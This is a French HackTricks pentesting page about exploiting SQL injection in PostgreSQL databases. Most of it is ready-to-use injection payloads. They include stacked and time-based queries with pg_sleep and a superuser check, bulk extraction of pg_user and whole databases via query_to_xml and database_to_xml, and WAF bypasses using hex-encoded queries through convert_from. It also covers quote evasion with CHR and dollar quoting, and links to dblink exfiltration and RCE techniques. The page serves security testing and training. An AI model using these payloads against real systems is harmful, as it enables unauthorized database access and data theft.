79 lines
4.7 KiB
Markdown

# Injection PostgreSQL
{{#include ../../../banners/hacktricks-training.md}}
---
**Cette page vise à expliquer différents trucs qui pourraient vous aider à exploiter une injection SQL trouvée dans une base de données postgresql et à compléter les astuces que vous pouvez trouver sur** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
## Interaction réseau - Escalade de privilèges, scanner de ports, divulgation de réponse au défi NTLM et exfiltration
Le **module PostgreSQL `dblink`** offre des capacités de connexion à d'autres instances PostgreSQL et d'exécution de connexions TCP. Ces fonctionnalités, combinées à la fonctionnalité `COPY FROM`, permettent des actions telles que l'escalade de privilèges, le scan de ports et la capture de réponses au défi NTLM. Pour des méthodes détaillées sur l'exécution de ces attaques, consultez comment [effectuer ces attaques](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
### **Exemple d'exfiltration utilisant dblink et objets volumineux**
Vous pouvez [**lire cet exemple**](dblink-lo_import-data-exfiltration.md) pour voir un exemple CTF de **comment charger des données à l'intérieur d'objets volumineux et ensuite exfiltrer le contenu des objets volumineux à l'intérieur du nom d'utilisateur** de la fonction `dblink_connect`.
## Attaques PostgreSQL : Lecture/écriture, RCE, privesc
Vérifiez comment compromettre l'hôte et escalader les privilèges depuis PostgreSQL dans :
{{#ref}}
../../../network-services-pentesting/pentesting-postgresql.md
{{#endref}}
## Contournement de WAF
### Fonctions de chaîne PostgreSQL
Manipuler des chaînes pourrait vous aider à **contourner les WAF ou d'autres restrictions**.\
[**Sur cette page** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**vous pouvez trouver quelques fonctions de chaînes utiles.**
### Requêtes empilées
N'oubliez pas que PostgreSQL prend en charge les requêtes empilées, mais plusieurs applications renverront une erreur si 2 réponses sont retournées alors qu'une seule est attendue. Mais, vous pouvez toujours abuser des requêtes empilées via l'injection temporelle :
```
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
```
### Astuces XML
**query_to_xml**
Cette fonction renverra toutes les données au format XML dans un seul fichier. C'est idéal si vous souhaitez extraire beaucoup de données en une seule ligne :
```sql
SELECT query_to_xml('select * from pg_user',true,true,'');
```
**database_to_xml**
Cette fonction va exporter l'ensemble de la base de données au format XML en une seule ligne (faites attention si la base de données est très grande car vous pourriez provoquer un DoS ou même sur votre propre client) :
```sql
SELECT database_to_xml(true,true,'');
```
### Chaînes en Hex
Si vous pouvez exécuter des **requêtes** en les passant **dans une chaîne** (par exemple en utilisant la fonction **`query_to_xml`**). **Vous pouvez utiliser convert_from pour passer la chaîne en hex et contourner les filtres de cette manière :**
```sql
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
```
### Citations interdites
Si vous ne pouvez pas utiliser de citations pour votre charge utile, vous pouvez contourner cela avec `CHR` pour des clauses de base (_la concaténation de caractères ne fonctionne que pour des requêtes de base telles que SELECT, INSERT, DELETE, etc. Cela ne fonctionne pas pour toutes les instructions SQL_):
```
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
```
Ou avec `$`. Ces requêtes renvoient les mêmes résultats :
```
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
```
{{#include ../../../banners/hacktricks-training.md}}